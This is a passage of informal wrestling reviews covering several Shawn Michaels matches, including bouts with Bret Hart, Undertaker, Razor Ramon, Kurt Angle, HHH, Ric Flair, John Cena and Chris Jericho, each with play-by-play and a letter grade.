Bret starts firing off punches but Shawn comes back with a DDT on the arm. There’s a cross armbreaker but Shawn breaks it after one pull. Now it goes on full but Bret fights up and rakes his boot across Shawn’s face to break the hold. That’s rather heelish no? Back to the armbar but Hart counters into a kind of middle rope hot shot. Shawn fights back but misses a Stinger Splash in the corner, giving Bret his first advantage in a long time.

The bulldog puts Shawn down so Bret goes up top. That’s an odd sight for him and Shawn tries to slam him down, only to get pulled down to the mat by his hair. Bret hit the referee on the way down and we’re at halftime. Shawn comes back with a powerslam for two but a backdrop attempt is countered into a piledriver which gets two for the champion. Bret goes up again but gets slammed down.

Michaels starts speeding things up with a standing hurricanrana but Bret hangs onto the ropes to avoid the superkick. A backbreaker gets two for Shawn but Hart bails to the floor to avoid the kick again. Instead Shawn goes up and hits a HUGE dive to the floor to take the champ down. Back in and Shawn skins the cat, only to get caught in a small package for two. A Perfectplex gets two for Shawn and he hooks a sleeper. Hart gets his arm up on the second drop so Shawn rams him into the corner again.

Michaels charges at Bret but gets backdropped up and over the post and out to the floor in a great looking crash. Bret goes out to get him though which isn’t the brightest idea in the world. Back in and Bret works over Shawn’s injured back before dropping a leg for no cover. We’ve got twenty minutes left and Bret stomps away on the back. Shawn is flipped upside down in the corner and there’s a belly to back superplex for a close two.

We hit the camel clutch for a few minutes before Shawn fights up again. Hart tries a superplex but has to settle for punching a jumping Shawn in the ribs. Michaels gets whipped into the corner and it’s a Flair Flip to the floor where Shawn accidentally kicks Jose in the head. Out to the floor and Bret whips Shawn into the steps, knocking Jose down again. We head back inside with fifteen minutes to go.

A belly to belly suplex gets two for Bret so it’s time for a slugout. An O’Connor roll doesn’t work for Shawn as Bret kicks him out to the floor on the kickout. A suicide dive takes Shawn down again and we’ve got twelve minutes left. Back in again and Bret hits a German suplex for two. They slug it out but Shawn can’t hang with Bret at this point. Hart is too exhausted to follow up though so it’s back to the camel clutch.

Ten minutes to go now and the camel clutch eats up about two of that. It’s off to a regular chinlock with eight minutes to go and Shawn fights up. They clothesline each other down and more time is being burned up. A superplex puts Shawn down again but he STILL manages to block the Sharpshooter. Hart settles for a half crab as the punishment on the back continues. Shawn makes a rope but gets taken down by a backbreaker with five minutes to go.

Bret loads up his middle rope elbow but jumps into a boot to put both guys down again. A dropkick puts Bret in the corner as Shawn gets his nineteenth win according to Shawn. Four minutes to go now. There’s the flying forearm and the nip up (the camera misses it) as Shawn picks up the speed. A jumping back elbow puts Hart down and a top rope spinning ax handle gets two. The top rope elbow hits with two and a half minutes left. A good looking gutwrench powerbomb gets no cover with two minutes to go.

Shawn busts out a moonsault press for two as Bret is trying to hang on. Ninety seconds left and Shawn hits a middle rope rana for two more. Shawn slams him down and goes up top but he can’t follow up with a minute left. Shawn tries another rana but jumps into the Sharpshooter with thirty three seconds left in the match. The place is going NUTS but Shawn amazingly holds out until the time limit expires.

BUT WAIT!

As Bret leaves, Gorilla Monsoon orders the match to continue under sudden death rules. As Bret puts it: why? This was never agreed to and Bret is indeed getting screwed here. The bell rings and Bret is TICKED. He goes after Shawn’s back and hits a big backdrop. Bret whips Shawn into the corner, and in one of two moments that made me jump to my feet when I was watching it live, Shawn jumps over Bret out of the corner and hits Sweet Chin Music to put both guys down. Michaels gets up, tunes up the band, and kicks Bret’s head off for the pin and his first world title.

Rating: B. After an hour and five minutes of this match, there’s one word that can sum it up: LONG. That’s the problem here: it did not need to be an hour long and would have been much better suited as a regular one on one match. Either that or have a few falls in between, as having it be one very long glorified one on one match makes the stipulation seem pretty lame. The psychology is good though and it’s not a bad match by any means. It just could have had over 20 minutes cut out and you could have had the same match, and that’s not a good sign. Oh and what happened to Bret’s shoulder injury?

From In Your House XVIII.

Undertaker vs. Shawn Michaels

Inside the Hell in a Cell and the winner gets a shot at Bret next month at Survivor Series. The thunder starts to rumble and the gong goes off, bringing the crowd back to life for the first time in a long while. The entrance takes it sweet time as Shawn is forced to think about what’s coming. Undertaker turns the lights back on and Shawn is terrified as reality sets in.

The slow stalking around the cage floor begins before they head back inside, only to have Shawn launched across the ring. A ram into the buckle sends Shawn flying again so he tries some punches, only to be whipped HARD across the ring again. Undertaker rams his shoulder into Shawn’s before hitting Old School for no cover. A slam and legdrop get two on Shawn and some big right hands send Shawn down again. Michaels is thrown over the top and out to the floor as the pain is about to begin.

Undertaker continues to walk very slowly around the ring, hitting a single right hand after another. He tries a powerbomb on the floor but Michaels fires off right hands, only to be rammed back first into the cage wall. Now Undertaker picks him up and rams Shawn back first into the post, then the wall, then back to the post and back to the wall again. Shawn manages to escape being rammed in again and sends Undertaker into the wall, but Undertaker shrugs it off and punches Shawn down.

Shawn is sent face first into the steps and choked a bit but he FINALLY sends Undertaker into the post to get a breather. Since the outside doesn’t work at all for Shawn, he heads back inside, only to have his neck snapped across the top rope. A dive over the top takes out Undertaker and an elbow off the apron keeps Undertaker down. Michaels slams the steps down onto Undertaker’s back a few times before piledriving him down onto said steps.

A top rope ax handle sends Undertaker into the cage again and we head back inside. Shawn finds a chair under the ring and the fans are very pleased. Some chair shots to the back put Undertaker down for two so Shawn ties his arms up in the ropes. He doesn’t tie up the feet though and Undertaker kicks him down before backdropping Shawn onto the cameraman. Shawn beats up the cameraman, which becomes important later.

Michaels gets in a cheap shot on Undertaker to knock him to the floor before taking a breather. Back inside and the flying forearm and nip up make Shawn a little more cocky. The top rope elbow gets two as Slaughter has the door unlocked to get the cameraman some medical attention. Sweet Chin Music lays Undertaker out but he sits up. Shawn tries to run through the open door but Undertaker grabs him almost immediately. Michaels is catapulted into the cage wall (on the outside), cutting him open. Now the fun begins.

In one of the iconic shots of the match, Undertaker puts Shawn on his shoulder and rams him into the cage wall again. Shawn collapses next to the cage but Undertaker is just warming up. A quick low blow puts Undertaker down and with nowhere else to go, Shawn climbs up the side of the cage. He makes it all the way to the roof but Undertaker follows him. Undertaker counters a piledriver with a backdrop as we go to a wide shot to show how awesome this looks.

A gorilla press slam puts Shawn down on the roof again and a kick to the ribs sends Shawn to the edge. He tries to climb down, but in the really famous shot of the match, Undertaker stomps on his hands, sending Shawn flying off the cage and through the announce table. Undertaker still isn’t done and throws Shawn onto the other announce table as Shawn’s face is just covered in blood.

The stalking continues as the announcers are losing their minds at all this. Michaels crawls back into the Cell but can barely see through the blood. A running clothesline puts Shawn down on the mat before taking him to the top for a SUPER CHOKESLAM. Now we get to the poetic justice portion with Undertaker grabbing the chair. A big chair shot to the head puts Shawn down and Undertaker signals for the tombstone…..and the lights go out.

Organ music begins to play and Paul Bearer walks a huge man in red down to ringside. Vince: “THAT’S GOT TO BE KANE!” He rips the door off the Cell and climbs into the ring to stare down Undertaker. Undertaker is STUNNED as Kane raises his arms up and pulls them down, causing fire to shoot up from the ring posts. Kane tombstones Undertaker down and walks out, allowing Shawn to drape an arm over Undertaker for the shocking upset.

Rating: A+. This is one of the best matches of all time and the culmination of one of the best put together stories ever. While the brawling is incredible and the violence is off the charts, the storytelling carries this. Undertaker stalking Shawn to start and getting every single bit of punishment in that he could until Shawn used his speed and intelligence to get some control was brilliant. The torment Undertaker put Shawn through was perfect with Michaels being completely destroyed throughout the match and being dead to rites until the ending.

Kane making his debut here was perfect as well, with the story being just far enough in the past that people weren’t thinking about it but not far enough that everyone knew who Kane was as soon as he walked out. This set up a feud that went on and off for thirteen years between the brothers, but we’ll get to that later. By the way, I told you Fake Diesel would be worth something someday. He’s the guy playing Kane.

And of course from Wrestlemania X.

Intercontinental Title: Shawn Michaels vs. Razor Ramon

Shawn has Diesel with him here. Diesel is told to leave but just doesn’t because that’s the kind of guy he is. Basic stuff to start with Shawn blocking a hip toss but getting chokeslammed instead. They hit the ropes to build some speed and Shawn hits a neckbreaker. Razor gets sent to the floor and there’s a clothesline from Diesel, earning him another ejection which actually works this time.

Anyway Shawn gets punched in the jaw and Razor takes over again. Shawn is knocked into the corner before a BIG clothesline puts him on the floor. Razor exposes the concrete but we head back inside before he can use it. The Razor’s Edge is loaded up but Shawn backdrops Ramon over the top and onto the concrete, possibly injuring an elbow. Shawn gets the ladder but Razor jacks his jaw to stop it. The ladder is slid inside but Shawn hits a baseball slide to knock it into Ramon’s ribs.

Back inside again and the ladder is rammed into Razor’s ribs both in the corner and on the mat. Shawn throws the ladder onto Razor’s back which looks SICK. He tosses it at Razor against the ropes and goes for a climb, only to have Razor pull Shawn’s tights down and give us a rather unpleasant (or pleasant depending on your preferences) view. Not that it matters as Shawn knocks him down and climbs again, this time hitting a pretty famous splash to crush Razor again.

Razor saves another climb by shoving the ladder over, sending Shawn onto the top rope. We get a camera shot from above the ring, showing both guys laid out on the mat. Cool shot. Back up and Michaels is whipped into the ladder in the corner, knocking him out to the floor. Razor rams the ladder into Shawn’s chest with his back against the post. If that’s not enough, Razor launches Shawn into the ladder against the apron to keep Michaels in agony.

Back in and Ramon BLASTS Shawn with the ladder to knock him to the outside again. Razor climbs up but Shawn dives off the top rope to knock him down. The ladder falls onto Shawn in the process to keep both guys on the mat. They both start to climb but the ladder is bent. Shawn is higher up but can’t hang in a slugout with Razor. Michaels gets punched down but the ladder gives way under Razor, sending him down.

Ramon climbs again but Shawn dropkicks the ladder which doesn’t topple over this time. In a smart move, Shawn pushes the ladder over onto Razor’s back to take control again. A big piledriver puts Razor down so Shawn goes to the corner. In another famous visual, Shawn rides the ladder down onto Razor, crushing him yet again. Since he’s a jerk though, Shawn puts the ladder over top of Razor, but Ramon gets up and knocks Shawn off the ladder. Michaels gets tangled in the ropes, allowing Razor to climb up to unify the titles.

Rating: A+. This is one of the matches that reignited the midcard scene after things had died down for a bit. It also paved the way for the insane style that would start to dominate about five years later. That being said, it’s still a freaking AWESOME match with some iconic spots such as the splash. It also started Shawn on the roll of a lifetime, as the next year he would be in the world title match at Wrestlemania then win the title the following year. This match is required viewing for fans.

We’ll change from the classics to one I bet you’ve never seen and probably don’t know exists. Back in 1998, Shawn broke his back and didn’t wrestle until 2002…..except for a match in his TWA promotion on April 4, 2000.

TWA Title: Shawn Michaels vs. Venom

Bunkhouse Brawl, meaning anything goes. Shawn is champion after being handed the title by Justin Credible. Venom is a big guy that looks like a tall Jerry Sags minus the tattoos. He’s introduced as the owner and CEO of the TWA and brings a bunch of weapons. Shawn comes out to his WWF music and in street clothes before throwing some weak rights. Venom kicks him in the face as the announcers imply that this is title vs. ownership of the company.

They head outside with Shawn going back first into the barricade and drops him throat first across for good measure. Back in and Shawn comes back with a trashcan to the head followed by some crutches to the spine. Shawn takes his boot off and nails Venom in the face as the announcers explain some backstory: Venom was champion and lost a match for control of the company, only to have the winner turn on Shawn and give Venom the company. Justin Credible then won the title and gave it to Shawn, setting this up.

Shawn finds a small ladder and nails Venom in the face before dropping a very safe fist to Venom’s face. Back to the floor with Venom busted open before heading inside again for right hands to the cut. A baseball slide sends the ladder into Venom’s face and they head back to the floor and into the crowd. Venom nails a low blow and hits him in the back with a trashcan. He stacks up two tables in front of a platform before taking the fight onto said platform. Of course Shawn blocks a throw and hiptosses Venom through the tables in a big crash.

They head back inside with Venom throwing salt in the eyes, allowing him to nail Shawn with a Singapore cane. Apparently that’s a callback to earlier in the story. A bloody Shawn is handcuffed to the ropes and Venom nails him with the cane. Venom says you’re about to see history but some guy named Shooter Schultz comes in and suplexes Venom onto a table. That’s one heck of a table though as two suplexes and a powerbomb don’t break the freaking table. Schultz uncuffs Shawn, allowing him to powerslam Venom through the table, setting up Sweet Chin Music for the pin.

Rating: C+. This was shockingly good with Shawn clearly not being able to do all his usual stuff but actually moving instead of just standing there in the middle of the ring. It was very much like a Vince McMahon match as he can’t wrestle but can still brawl, and that’s all the fans needed to see, plus Chin Music of course.

Next up is a fairly classic match from Wrestlemania XXI.

Shawn Michaels vs. Kurt Angle

This was when Angle was the wrestling machine so this should be awesome. Kurt takes in the YOU SUCK chants because that’s how awesome he is. I should mention the set as it has the Hollywood sign on one side and a movie marquee on the other side which says Now Playing and then the match, making it feel all the more special. They stare it down to start until Shawn slaps him in the face.

Angle takes it to the mat and rides Shawn to frustrate him. Shawn gets to a rope and gives Kurt a look like “o………..k then time for a new plan.” Michaels grabs a headlock takeover to slow things down but the fans are behind Kurt. Kurt fights up but can’t escape the hold without using the ropes. Nice storytelling there with Shawn gladly going to the ropes but Angle going to them out of frustration.

Off to a short arm scissors by Shawn for a bit but Angle uses raw power to lift Shawn up into the air. However, since Shawn had that move used on him back in 1992 by British Bulldog, he knows how to roll through into a sunset flip for two. See, THAT is how you play to older fans with some awesome psychology. Back to the headlock as Angle is getting frustrated by Michaels dominating the mat.

Angle takes it into the corner to brawl with Shawn but Shawn ties him up instead. This is also a callback to Wrestlemania XII where Shawn used the exact same strategy on Bret. Angle grabs a quick ankle lock but Shawn rolls through and a Cactus Clothesline puts them both on the floor. Angle loads up the announce table but opts to pick up Shawn in the Angle Slam and ram Shawn back first into the post to take over again.

Back in and Angle gets two off a suplex before putting on a body vice with a chinlock. The fans are split here but Shawn fights up with some chops to take over. Kurt will have none of that though and suplexes Shawn down to stop the comeback bid. Another belly to belly gets two and it’s off to a chinlock with a knee in Shawn’s back. Michaels gets up again and they slug it out with Angle taking Shawn down with a hard clothesline.

Shawn blocks a superplex attempt but Kurt rolls away from the top rope elbow. There go Angle’s straps but Shawn counters the Angle Slam and backdrops Kurt to the floor. Shawn goes up and half dives/half falls onto Angle with a cross body. As they get back in, Angle tries his German suplex off the apron but Shawn kicks him low like a good former villain. With Angle on the announce table, Shawn hits a gorgeous springboard spinning cross body to send Angle onto the floor as the table doesn’t break.

Both guys make it in on different sides of the ring at nine. Angle is bleeding from the mouth. They slug it out again with Shawn taking over. There’s the forearm and nip-up as Shawn’s back is perfectly fine all of a sudden. Now the big elbow hits but the superkick is countered into the ankle lock but Shawn FINALLY makes the rope. The Angle Slam is rolled through but Angle counters into the ankle lock but Shawn counters into a rollup for two. Another superkick is caught and there’s the Angle Slam for two.

To show how angry Kurt is, he puts his straps up just so he can take them down all over again. In a scary spot, Angle tries the moonsault but Shawn doesn’t roll away far enough, sending Angle’s face into Shawn’s side. Shawn goes up again but Angle runs up the corner for the belly to belly off the top. Somehow that only gets two and Angle yells at Shawn, talking about how Michaels’ days are done. Shawn shoves him back and superkicks Angle down but he can’t follow up.

The cover eventually gets two and Shawn isn’t sure what to do now. He slowly stands up but Angle grabs the ankle lock again. Shawn tries to kick Angle off but Kurt won’t let go. They’re in the middle of the ring with Shawn writhing in pain. Angle puts on the grapevine and Shawn is all but dead. He hangs on for as long as he can before FINALLY tapping out to give Angle the win.

Rating: A+. Angle and Shawn at Wrestlemania having a masterpiece. Who would have ever seen that coming? The match was excellent all around and the match never stopped being great. They would have another masterpiece at Summerslam which again shouldn’t surprise anyone. Great match here and definitely worth seeing if you haven’t before.

We’ll jump back to a match that’s much more infamous than great. From Survivor Series 1997.

WWF World Title: Bret Hart vs. Shawn Michaels

Shawn is European Champion coming into this for no particular reason other than he wanted Bulldog to not have the title anymore. Shawn wipes himself with the Canadian flag during his entrance to further make himself public enemy #1. We get the long tracking shot for Bret’s entrance which is always cool for some reason. Shawn jumps Bret to start but Bret snaps on him and beats Shawn right back down to the delight of the crowd.

A HARD clothesline puts Shawn on the floor and Bret is going off. I don’t think the bell rang yet. Bret takes it to the crowd and Shawn is reeling. Vince, Slaughter and a half dozen referees are at ringside now. JR talks about how this could be Bret’s last match if he loses. Shawn gets an American flag bandana and chokes him into the crowd. Remember the match hasn’t started yet. Bret backdrops Shawn over the barricade and back to ringside.

Shawn keeps trying to piledrive Bret on the concrete but Hart keeps escaping. They head back into the crowd with Bret in total control. They go to the entrance and Bret decks a referee. Back into the ring they go and the bell FINALLY rings as Bret chokes Shawn with a Fleur de Lis. Shawn comes back with the forearm and nipup as the fans chant that Shawn is gay.

Michaels chokes with the flag as Bret has a busted hand. Shawn stalls a lot because that’s the kind of guy he is. Back to the floor with Shawn pounding on Bret and spitting on the crowd. Shawn drops Bret face first on the steps and breaks a Canadian flag over his knee. Back in and Shawn hits a top rope ax handle and it’s off to a front facelock. Bret escapes in what has to be the loudest reaction to a broken front facelock of all time.

Shawn comes back and slams Bret down but Bret rolls through a cross body off the top for two. Bret puts on the Hartbreaker, the figure four around the post. Bret goes after the knee in almost perfect Ric Flair fashion, down to the cannonballs down to the knee and a Figure Four. Shawn finally turns it over and Bret gets a rope. A Russian legsweep gets two for Bret as does a snap suplex. Bret goes up but Shawn pulls the referee into the way so the shot hits Hebner instead. Shawn rakes Bret’s eyes, puts Bret in the Sharpshooter, and Hebner calls for the bell to give Shawn the title in the most infamous moment ever in wrestling.

Rating: B-. I’m only talking about the match here. The main thing to keep in mind about the famous ending is that there was about twenty minutes of brawling and of the actual match before the finish. I think that’s something people forget because of the famous part. The match we got was quite good, which isn’t really surprising given how familiar these two were with each other. It’s no masterpiece, but it felt like an epic encounter, which is what it needed to do.

Now we’ll get to the big white elephant in Montreal. I’ve not going to pretend like I have some big insight into what happened because I certainly don’t. Books have been written about what happened here and there’s no point in rehashing the whole thing all over again. In short, it was Bret’s last match, he didn’t want to lose the title in Canada, a screwy finish was agreed on, Vince changed the ending and screwed over Bret, Bret wasn’t seen in WWE for almost thirteen years.

After all the years since then, I think both parties were wrong, but Bret needed to get over himself. So what if he had to lose the title in Canada? I get that he couldn’t stand Shawn, but for someone who seems to pride himself on being oh so professional, it’s pretty lame to say he doesn’t want to lose the title in another country when he made it clear he was leaving.

Vince was in major trouble at this point and was under a lot of pressure. While I don’t think he believed Bret would trash the title on Raw, he had to be worried about something happening, like the title having no value if Bret never lost it, which is understandable. Did he go about the issue the right way? No, but it wasn’t a normal circumstance. Vince did what he thought was best and while it caused a ton of controversy, it was one of the few things he could do. There are a to of different ways you can look at it, and there isn’t a single right answer.

WWF World Title: Shawn Michaels vs. Diesel

Remember this is no holds barred so anything goes. We see Omaha resident and legendary wrestler Mad Dog Vachon at ringside who will become important later. No flashy entrance from Shawn as he just power walks to the ring and takes the belt off on the way. He pounds away on the much bigger Diesel but a knee to the ribs puts the champion down. A big dropkick sends Diesel to the floor and a moonsault press takes him down onto the concrete.

Shawn steals a boot from the Spanish’s announcer and lays out Diesel back inside for two. Back up and Diesel whips Shawn up and over the corner before hammering him off the apron and face first into the barricade with a nasty bump. Back in and Diesel runs Shawn over again before walking around very slowly. Snake Eyes (a face first drop onto the buckle) drops Michaels again and Diesel yells at Shawn’s trainer Jose Lothario that this is how we do it in the 90s.

A big side slam drops Shawn again and Diesel chokes the referee with his wrist tape for no apparent reason other than evil. Diesel steals the referee’s belt to whip Shawn even more before wrapping it around Shawn’s neck and hanging him over the top rope. He even ties the belt around the middle rope so he can grab a chair to blast Shawn in the back. They get back in the ring and another chair shot to the back puts Shawn down yet again. A third shot hits the top rope, sending the chair bouncing back into Diesel’s head.

Now Shawn grabs the chair but Diesel hits him low before Shawn can swing it. A BIG backdrop keeps the pressure on Shawn’s back and gets a two count. Diesel cranks on Shawn’s neck but Michaels fights up, only to be dropped with a series of forearms, knocking him out to the floor. In the big spot of the match, Diesel Jackknifes Shawn through the announce table (big deal back then), further destroying his back. That looked AWESOME and Vince begging Shawn to “just let it be over” makes it even better.

Diesel tries to pull Shawn back in but Michaels finds a fire extinguisher under the ring and blinds the big man so he can pound away. The fans are going NUTS over this comeback. Shawn pulls in a chair and goes to town on Diesel but lets Diesel get back up for a clothesline and a big boot to the jaw. Diesel loads up another Jackknife but Shawn punches his way out of it and drops a top rope elbow to the big man’s chest. Shawn tunes up the band for the superkick but Diesel blocks the boot and clotheslines Shawn down again.

A third clothesline puts Shawn on the floor as Vince gets in the very almost famous line of “We said it would be no holds barred but we didn’t expect this.” Diesel drops Shawn throat first on the barricade before going over to Mad Dog Vachon. He chokes Vachon down and RIPS OFF HIS PROSTHETIC LEG. Back in and Shawn hits Diesel low, blasts him in the face with the leg and hits Sweet Chin Music to retain the title and blow the roof off the place.

Rating: A+. This was a WAR and one of the best brawls you’ll ever see. They were beating the tar out of each other out there with Shawn bumping around like a maniac and making Diesel’s offense look great. This gave Shawn the credibility that he needed as champion to show he could fight as well as wrestle and it was a great performance to boot. It’s one of my all time personal favorite matches and still more than holds up over seventeen years later. Probably the best In Your House match to this point.

Shawn would come back from four and a half years off for this showdown at Summerslam 2002.

Shawn Michaels vs. HHH

Shawn is in jeans tonight to hide the knee braces. Michaels comes out with right hands but HHH sends him to the outside. Not that it matters as Shawn is right back inside with more right hands. HHH is tossed to the floor and Shawn hits a nice dive to take him out. Remember that this is Shawn’s first match since March of 1998, or four and a half years ago.

A clothesline puts HHH down again and it’s garbage can time. HHH gets in a shot to the ribs and drops Shawn face first onto the barricade to get a breather. Shawn comes back in and is tossed over the top again but he skins the cat to a big pop. A trashcan shot caves in HHH’s head and a top rope fist to the head puts him down again. Shawn tunes up the band but HHH counters into a backbreaker to get to the meat of the match.

Another backbreaker has Shawn in agony and flopping like a fish as only he can. HHH gives a crotch chop and kicks Shawn down with ease. It’s chair time but a shot to the back only gets two. Shawn escapes a suplex into an O’Connor Roll for two but walks into a facebuster. A DDT onto the chair is only good for two but Shawn is busted open. HHH takes off Shawn’s belt and whips him in the back as the screaming continues.

And now it’s sledgehammer time. Shawn gets in some shots to the ribs to escape and HHH drops the hammer. The fans are behind HBK but he gets whipped into the corner and it’s off to the abdominal stretch. HHH gets caught holding the ropes and Hebner physically breaks the hold before yelling HHH into the corner. They slug it out again and HHH loads up a superplex but Shawn shoves him off, only to get crotched. HHH blasts Shawn’s wide open back with the chair and the crowd is somber.

A backbreaker onto the chair has Shawn lying motionless but HHH only gets two. He covers a few more times and HHH is very frustrated. A side slam onto the chair gets another two as JR screams for a fast count. Shawn counters a Pedigree onto the chair with a low blow and both guys are down. The HBK chant starts up again and HHH has the chair superkicked into his face. Now HHH is busted open too and Shawn slugs away before hitting the forearm and the nipup to blow the roof off the place.

Shawn backdrops him down and cracks HHH in the head with the chair. HHH is whipped over the corner and out to the floor where Shawn gets to beat on him with the belt. Shawn knocks him onto the announce table and hits him in the head with Hugo Savinovich’s shoe (Lawler: “A heel for a heel!”). HHH is sent into the steps and here’s a ladder being slammed into HHH’s face.

Some shots to the ribs have HHH screaming and the ladder is placed against the post with HHH being catapulted face first into the steel. That’s only good for two so Shawn heads outside again to get the ladder. HHH baseball slides the ladder into Michaels and pounds away at the cut head. For some reason HHH tries to come in off the top and gets caught in a superplex for two.

The crowd is losing their minds off these kickouts. A sunset flip gets two for Shawn but he gets caught by the knee to the face for two. HHH brings in the steps but Shawn drop toeholds him face first into the steel. A clothesline puts HHH on the floor and Shawn puls out a table. Well why not since we’ve used everything else.

Shawn puts him on the table and splashes him from the top rope in the big spot of the match. Both guys are DONE and the fans are in awe. Shawn sends the ladder back inside, says he loves us all, and drops the elbow from the top. Michaels has that look in his eye and tunes up the band but HHH catches the kick coming in. He loads up the Pedigree but Shawn sweeps the legs and rolls HHH up for the pin to blow the roof off the place again.

Rating: A+. Anyone who has read my stuff over the years knows I do not like a lot of things about HHH. For tonight, forget all that because this is one of the best matches of all time. I’ve seen this match several times and it still had me smiling to see Shawn make comeback after comeback and give HHH every single thing he deserved. It goes to show how great Shawn is as he came in after being gone nearly FIVE YEARS and does this. That’s remarkable when you think about it and is one of the greatest performances of all time.

Let’s talk about the match a little bit. It’s an excellent example of how to book a comeback, which is probably Shawn’s greatest strength. Shawn had the people believing that he was DEAD but he kept hanging in there time after time and made the huge comeback just like the crowd wanted. The other thing that works so well is the ending which a lot of people overlook.

The crux of this match was the destruction of both guys and seeing how far they could take it. At the end though, Shawn uses a basic wrestling counter and a cradle to win, totally shifting gears and beating HHH, the Cerebral Assassin, by thinking. That’s INCREDIBLE psychology and the perfect way to end this match. All in all, it’s a masterpiece and arguably the best performance of all time, all things considered.

Post match HHH becomes the universal evil by hitting Shawn square in the back with the sledgehammer and leaving him laying. Shawn is taken out on a stretcher.

Next up is a Wrestlemania double shot, starting with Shawn retiring a legend.

Ric Flair vs. Shawn Michaels

Feeling out process to start with neither guy being able to get the advantage. A hip toss puts Shawn down and Ric shouts about being Old Yeller, which Shawn referenced to set this up. Shawn chops him hard and Flair’s lip is bleeding. They slug it out in the corner with Shawn taking over and going up top, only to be slammed down. Now Flair goes up and hits a cross body for two. Jerry: “IT ACTUALLY WORKED!”

Ric goes after the knee but Shawn kicks him to the floor. Shawn loads up an Asai Moonsault and hits table, landing square on the edge ribs first. That looked HORRIBLE and Shawn is in big trouble. Back in and a belly to back suplex gets two for Flair. Naitch stays on the ribs and hits a good looking suplex for two. Shawn comes back with a backdrop to send Flair to the floor and follows up with a moonsault which mostly hits floor.

Both guys make it back inside at nine and they chop it out. The forearm and nipup connect and Shawn starts slugging away. A slam sets up Shawn’s top rope elbow but it hurts his ribs in the process. Michaels tunes up the band but can’t bring himself to do it, allowing Flair to grab the Figure Four which is quickly broken. They fight to the mat and try Flair’s bridge up out of a pinfall into the backslide but Ric is just too old.

Instead it’s a sunset flip for two for Shawn but Flair takes out the knee with a chop block. The Figure Four is countered into an inside cradle for two. NOW the Figure Four goes on in the middle of the ring but Shawn finally rolls it over into the ropes. Back up and Shawn hits the superkick out of nowhere but the cover only gets two. Shawn tunes up the band again but gets kicked low for two.

Michaels comes back with a reverse Figure Four but Flair manages to crawl to the ropes. A quick rollup with a handful of trunks gets two for Flair and he fires off chop after chop. Out of nowhere Shawn superkicks Flair down but Michaels can’t cover. Flair slowly gets up and says bring it. Shawn looks at him, says “I’m sorry. I love you.” and superkicks Flair into retirement.

Rating: B. This is a hard one to grade. The match itself was entertaining, but it wasn’t supposed to be a competitive spectacle. This was designed to give Flair a great match to go out on and they almost did that. They made no secret about who was winning and that’s ok, but at the same time it was like delaying the inevitable. It was a good match to send him out on and the fans were happy to see the famous spots one more time.

Flair gets a well deserved standing ovation. This match should have closed the show and was going to, but Flair said no because the title match should close the show. Usually I would agree but in this case, Flair should have ended the show. Ric takes the long walk up the ramp to nonstop applause.

And another of Shawn’s Wrestlemania main events, this time from Wrestlemania XXIII.

Raw World Title: John Cena vs. Shawn Michaels

Remember that they’re tag champions here but neither guy wears the belt. I can’t say I blame them of course. Cena’s special entrance this year is driving a muscle car from “the parking lot” into the arena due to being in Detroit. They circle each other to start before Shawn slaps him in the face. A quick headlock doesn’t do much for Shawn so he uses his speed advantage to pop John with some right hands. Back to the headlock and it works a bit better this time as Shawn takes Cena down to the mat.

Cena has had enough of this defense thing and rings Shawn’s bell with a clothesline. Shawn is sent to the apron but he tosses Cena from the ring and out to the floor. A BIG chop staggers Cena but Shawn’s Asai Moonsault hits mostly table and Shawn is hurt. Luckily for him though Cena is even more hurt as they head back inside. Shawn chops away in the corner before going after Cena’s knee. The leg is wrapped around the post and Cena is in trouble. The referee asks Cena if he can continue and of course Cena says yes.

Shawn keeps kicking at the leg before wrapping it around the ring rope. With Cena down in the corner, Shawn stares straight at him to play even more mind games. Back up and John hits a big right hand to send Shawn flying across the ring. Shawn charges straight back at him with a shoulder into the ribs in the corner to keep control. Michaels charges again but Cena’s leg gives out and Shawn goes head first into the post, busting him open.

Cena has had enough of getting beaten up so he punches Shawn down before firing off some mounted right hands. The ProtoBomb and Shuffle hit but Shawn punches his way out of the FU. Cena is sent into the corner but manages to duck Sweet Chin Music. The referee isn’t so lucky though and is knocked senseless. Cena tries the FU but is countered into a DDT to put both guys down.

With no referee in sight, Shawn rolls to the floor and hits a sick piledriver onto the steps. The THUD when Cena’s head hit was a little scary. The back of Cena’s head is cut open BAD on top of that. Back in and here’s a second referee but the count only gets two. There are the forearm and nip-up as the blood flows down Shawn’s face. The top rope elbow connects but Cena blocks Chin Music with a big clothesline to put both guys down again.

They slug it out in the middle of the ring but the FU is countered again into a sunset flip for two. Shawn’s leap frog is caught in the FU but Cena is too banged up to cover. The very delayed cover gets two and the champ is getting frustrated. With nothing else to do he tries an FU off the top, only to be shoved off by Shawn. Michaels dives at Cena but gets caught in the FU position. He counters that as well though by landing on his feet, only to miss the superkick and have Cena try for the STFU. Cena keeps trying for it but gets small packaged down for two instead.

Shawn misses an enziguri attempt and now the STFU is on. Cena cranks back on it but Shawn is only a few inches away from the rope. As Shawn starts to black out he grabs the rope and Cena has to break. He takes a bit too long though and gets in an argument with the referee, allowing Shawn to kick Cena’s head off. Another delayed cover gets two and both guys are down. In a cool spot, both guys have to lean on the other to get up. The FU is countered again but Shawn can’t avoid the STFU again. Cena cranks back on it and Shawn has no choice but to tap out.

Rating: A-. This was a much better match than the HHH match from the year before for a few reasons. First of all, there was a story behind the match. As simple as it was, Shawn being Cena’s partner gave them a bond and seeing them fight was something interesting to see. Second, the drama was better here. Cena felt like he was in real trouble and that the title was in danger, which I never felt last year. It’s a better match overall and they would have even better ones in the future.

In 2008, Shawn would have an awesome feud with Chris Jericho, culminating with this match at No Mercy 2008.

Raw World Title: Shawn Michaels vs. Chris Jericho

Big match intros are out of the way and we’re ready to go. Shawn goes for the arm to start but then says screw this and tries Chin Music. Jericho moves and Shawn charges shoulder first into the post. Out to the floor and Jericho throws Shawn at the ladder but Shawn climbs it quickly and comes off with an even quicker cross body. Jericho throws him into the post shoulder first again and goes for the ladder.

Shawn drop toeholds him though and Chris’ face hits the ladder. There’s a second ladder but Jericho takes Shawn down and hooks the Walls on the floor. For some reason he lets it go and brings the ladder into the ring, but Shawn teeter totters it into his face. Back in Shawn climbs up but Jericho shoves him off and into the top rope. The ladder goes into Shawn’s face and Jericho is bleeding from the lip a bit.

There are two ladders in the ring now. Shawn counters the bulldog and sends Jericho’s leg into the ladder. Shawn lays a ladder across the bottom rope and drops Jericho’s knee onto it before hooking up a Figure Four. After it’s broken, Jericho kicks one end of the ladder into the post so that it bounces back and hits Shawn in the shoulder and then into the face. It might have been to the previously injured eye. Jericho slams a ladder on Shawn’s head in a FREAKING OW MAN moment.

